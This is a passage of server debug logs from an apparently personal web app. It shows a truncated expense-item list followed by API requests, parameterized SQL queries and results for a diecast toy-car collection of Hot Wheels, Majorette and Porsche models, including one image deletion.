  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T11:02:48.176Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:02:48.177Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:02:48.178Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:02:48.178Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:48.178Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:02:48.178Z server-connect:app Executing action step identify
2026-02-04T11:02:48.178Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:48.178Z server-connect:output identity: 1
2026-02-04T11:02:48.178Z server-connect:app Executing action step restrict
2026-02-04T11:02:48.178Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:48.179Z server-connect:app Executing action step identify
2026-02-04T11:02:48.179Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:48.179Z server-connect:output identity: 1
2026-02-04T11:02:48.179Z server-connect:app Executing action step restrict
2026-02-04T11:02:48.179Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:48.179Z server-connect:output restrict: undefined
2026-02-04T11:02:48.179Z server-connect:app Executing action step select
2026-02-04T11:02:48.179Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:02:48.179Z server-connect:app Executing action step identify
2026-02-04T11:02:48.179Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:48.179Z server-connect:output identity: 1
2026-02-04T11:02:48.179Z server-connect:app Executing action step restrict
2026-02-04T11:02:48.179Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:48.180Z server-connect:output restrict: undefined
2026-02-04T11:02:48.180Z server-connect:app Executing action step select
2026-02-04T11:02:48.180Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:02:48.180Z server-connect:app Executing action step identify
2026-02-04T11:02:48.180Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:48.180Z server-connect:output identity: 1
2026-02-04T11:02:48.180Z server-connect:app Executing action step restrict
2026-02-04T11:02:48.180Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:48.180Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:02:48.181Z server-connect:output restrict: undefined
2026-02-04T11:02:48.181Z server-connect:app Executing action step select
2026-02-04T11:02:48.181Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:02:48.181Z server-connect:app Executing action step identify
2026-02-04T11:02:48.181Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:48.181Z server-connect:output identity: 1
2026-02-04T11:02:48.181Z server-connect:app Executing action step restrict
2026-02-04T11:02:48.181Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:48.182Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:02:48.182Z server-connect:output restrict: undefined
2026-02-04T11:02:48.182Z server-connect:app Executing action step paged
2026-02-04T11:02:48.182Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:48.183Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:02:48.183Z server-connect:app Executing action step select
2026-02-04T11:02:48.183Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:02:48.183Z server-connect:output restrict: undefined
2026-02-04T11:02:48.183Z server-connect:app Executing action step select
2026-02-04T11:02:48.183Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:02:48.184Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:02:48.184Z server-connect:app Executing action step select
2026-02-04T11:02:48.184Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:02:48.184Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:02:48.185Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T11:02:48.186Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:51.226Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T11:02:51.227Z server-connect:app Executing action step identify
2026-02-04T11:02:51.227Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:51.227Z server-connect:output identity: 1
2026-02-04T11:02:51.227Z server-connect:app Executing action step restrict
2026-02-04T11:02:51.227Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:51.227Z server-connect:output restrict: undefined
2026-02-04T11:02:51.227Z server-connect:app Executing action step single
2026-02-04T11:02:51.228Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T11:02:51.228Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20250923_222019_ee7a2eb0-3fb2-4ac0-8cd0-fdfb1192f2f7.jpg'
}
2026-02-04T11:02:51.228Z server-connect:app Executing action step delete
2026-02-04T11:02:51.228Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:51.229Z server-connect:output delete: { affected: 1 }
2026-02-04T11:02:51.229Z server-connect:app Executing action step remove
2026-02-04T11:02:51.229Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T11:02:51.229Z server-connect:output fileRemove: true
2026-02-04T11:02:51.442Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:51.442Z server-connect:app Executing action step identify
2026-02-04T11:02:51.442Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:51.443Z server-connect:output identity: 1
2026-02-04T11:02:51.443Z server-connect:app Executing action step restrict
2026-02-04T11:02:51.443Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:51.443Z server-connect:output restrict: undefined
2026-02-04T11:02:51.443Z server-connect:app Executing action step paged
2026-02-04T11:02:51.443Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:51.446Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
